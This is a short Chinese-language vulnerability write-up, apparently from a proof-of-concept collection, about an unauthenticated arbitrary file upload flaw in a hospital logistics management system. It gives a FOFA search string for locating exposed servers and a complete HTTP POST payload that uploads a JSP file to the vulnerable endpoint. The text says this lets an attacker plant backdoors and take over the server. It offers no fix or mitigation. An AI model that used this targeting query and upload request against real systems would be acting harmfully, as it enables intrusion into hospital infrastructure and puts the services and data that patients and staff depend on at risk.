N10-1南京博纳睿通-医院一站式后勤管理系统-文件上传

漏洞描述：

医院一站式后勤管理系统 processApkUpload.upload 接口处任意文件上传漏洞，未经身份验证的远程攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个 web 服务器。

网站图片：

网络测绘：

fofa语法：

FOFA：body="frameworkModuleJob"

漏洞复现：

payload：

```
POST /ajaxinvoke/frameworkModuleJob.processApkUpload.upload HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="Filedata"; filename="qwe.jsp"
Content-Type: application/octet-stream

<% out.print("hello"); %>
------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
```

效果图: